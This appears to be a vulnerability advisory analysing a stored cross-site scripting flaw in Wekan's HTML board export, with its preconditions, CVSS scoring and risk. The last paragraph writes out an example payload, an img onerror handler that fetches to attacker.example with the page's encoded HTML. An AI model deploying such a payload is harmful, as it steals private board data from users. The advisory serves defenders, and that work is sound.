Wekan CVE-2026-68900

The attacker must have held board membership at some point in order to create or edit a card - this is the PR:L condition. The attack does not require current active membership; a revoked member's planted payload remains in the card data indefinitely. Exploitation further requires a second victim action: a board member must independently perform an HTML export of the board (the export feature must be available and not administratively disabled), and the recipient must open the resulting HTML file in a web browser and click on the specific card containing the payload. The attack is scoped exclusively to data present in that exported HTML file; it does not provide access to the live Wekan database, other boards not included in the export, or server-side infrastructure. Content Security Policy enforced by the Wekan origin does not apply, as the exported file executes from the local file:// context. No non-default configuration is required beyond the attacker possessing board membership.

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N, score 7.6) is consistent with the attack mechanics: network delivery, no special timing conditions, low-privilege board membership required, active victim interaction needed, and a genuine scope change because script execution occurs in the victim's file:// browser context rather than the Wekan server session. No EPSS probability data was included in the provided intelligence, limiting probabilistic exploitation forecasting. The absence of a KEV listing and any reported POC suggests the vulnerability has not been broadly exploited, though the entity-encoding evasion technique is deliberate and bypasses live-board XSS defenses that would catch a naively injected payload. The Scope:Changed classification is the sharpest risk differentiator: server-side CSP controls are entirely irrelevant to the execution environment of the exported file, meaning common XSS mitigations provide no protection here. Even a mid-sized municipal IT team in leszno relying on Wekan for internal project coordination should treat this as urgent, because exported boards are frequently shared with external stakeholders who naturally click through card details. The most consequential aspect of this vulnerability is that board membership revocation does not neutralize a planted payload - an insider threat actor can store the payload, be removed, and still receive exfiltrated data from exports made weeks later.

A board member with minimal access creates a card whose title contains an entity-encoded payload such as <img src=x onerror="fetch('https://attacker.example/collect?d='+btoa(document.documentElement.innerHTML))">, which renders as visible plain text on the live Wekan board without triggering any sanitization or live-board XSS alert. When a legitimate user later exports the board to HTML, opens the file in a browser, and clicks the card to view its details, the modal-building JavaScript reads the title via .textContent, decodes the entity encoding into a live tag string, and assigns it to content.innerHTML, causing the browser to parse and execute the onerror handler. The handler reads the entire rendered board content from the DOM and transmits it to the attacker, including data added to the board after the attacker's membership was revoked. No public proof-of-concept code has been identified at time of analysis.